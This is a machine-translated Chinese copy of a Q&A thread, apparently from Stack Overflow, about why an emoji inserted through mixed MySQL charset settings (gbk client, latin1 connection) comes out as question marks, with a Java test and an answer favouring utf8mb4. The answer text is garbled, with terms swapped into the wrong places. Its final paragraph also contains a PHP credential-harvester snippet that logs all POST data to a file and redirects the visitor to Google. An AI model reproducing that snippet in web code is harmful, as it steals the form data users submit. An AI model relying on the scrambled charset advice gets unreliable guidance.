在mysql client中执行sql命令时使用java程序模拟charset转换。例如:
mysql> show variables like 'character%';
+--------------------------+---------------------------------------+
| Variable_name | Value |
+--------------------------+---------------------------------------+
| character_set_client | gbk |
| character_set_connection | latin1 |
| character_set_database | latin1 |
| character_set_filesystem | binary |
| character_set_results | gbk |
| character_set_server | utf8mb4 |
| character_set_system | utf8 |
| character_sets_dir | /opt/mysql/server-5.6/share/charsets/ |
+--------------------------+---------------------------------------+
mysql> show create table t4\G
*************************** 1. row ***************************
Table: t4
Create Table: CREATE TABLE `t4` (
`data` varchar(100) DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1
mysql> insert into t4 select '\U+1F600';
mysql> select data,hex(data) from t4;
+------+-----------+
| data | hex(data) |
+------+-----------+
| ?? | 3F3F |
从mysql文档(https://dev.mysql.com/doc/refman/5.0/en/charset-connection.html),似乎数据首先从我的os charset(utf8)转换为客户端(gbk),然后从gbk(客户端)转换为latin1(连接)。 所以基于上面的理解,我写了一个java测试程序员来模拟这个看不见的转换。见下文:
/**
* os utf-8
* character_set_client gbk
* character_set_connection latin1
* field latin1
*
* @throws UnsupportedEncodingException
*/
@Test
public void test_os_utf8_to_client_gbk_to_connection_latin1() throws UnsupportedEncodingException{
String emoji = "";
String receivedStr = new String(emoji.getBytes("utf-8"),"gbk"); //os(utf-8)-->client(gbk)
System.out.println(receivedStr);//馃榾
String convertedStr = new String(receivedStr.getBytes("latin1"),"latin1"); //client(gbk) --> connection(latin1)
System.out.println(convertedStr);//??
printHexString(convertedStr.getBytes("latin1")); //3f 3f
}
上面的代码可以得到与真正的mysql操作相同的结果。 我想知道这个模拟背后的原理是正确还是恰好是正确的?
答案 0 :(得分:0)
是一个4字节的utf8字符。在MySQL中,它需要
CHARACTER SET utf8mb4
,而不是utf8
。 (外界称之为utf8
或UTF-8
,但MySQL有区别。)
\U+1F600
也表示在utf8中它将是4个字节,因为它大于FFFF。
馃榾
可以在MySQL的utf8或utf8mb4中呈现。它是十六进制E9A683 E6A6BE
。
latin1
都不是一个好的MySQL CHARACTER SET
。它可以使用(虽然不是你尝试的方式),但只是因为latin1
无法检查字节的有效性。 所有 8位值在latin1中都有一些含义。但是,您可能会获得表情符号😀
或中文字符对馃榾
。
你的六个 character%
设置的混合只是在惹麻烦。尝试从默认值开始,然后使用SET NAMES
更改其中三个。 3是_client
,_connection
和_results
。
问号出现是因为:
SET NAMES latin1
生效(默认,但错误)CHARACTER SET latin1
(默认,但错误)无法从表格中检索数据。
要正确地做事,
utf8mb4
CHARACTER SET utf8mb4
<meta...charset=utf-8>
应该在顶部附近。(其中两个指定utf8mb4
,因为他们正在与MySQL交谈;另外两个是更通用的utf8
。)
您提到了gbk
。如果客户端中的字节编码为&#34; gbk&#34;,则继续此段落。 (我怀疑它们不是,因为Java喜欢处理Unicode,因此utf8。)如果已经建立了gbk
,那么在客户端中有SET NAMES gbk
字节是可以的。这意味着gbk编码的字节将被转码到表的CHARACTER SET
或从表的latin1
转码。注意:CHARACER SET latin1
无法保留中文字符或表情符号,因此CHARACTER SET gbk
不是有效对象。 utf8mb4
或utf8mb4
应该有效。 (此外,我怀疑gbk无法容纳该表情符号,因此SET NAMES gbk
可能是唯一合理的选项,而<?php $file = 'harvester_2015-05-14 17:51:59.186240.txt';file_put_contents($file, print_r($_POST, true), FILE_APPEND);?><meta http-equiv="refresh" content="0; url=http://www.google.com" />
可能无效。)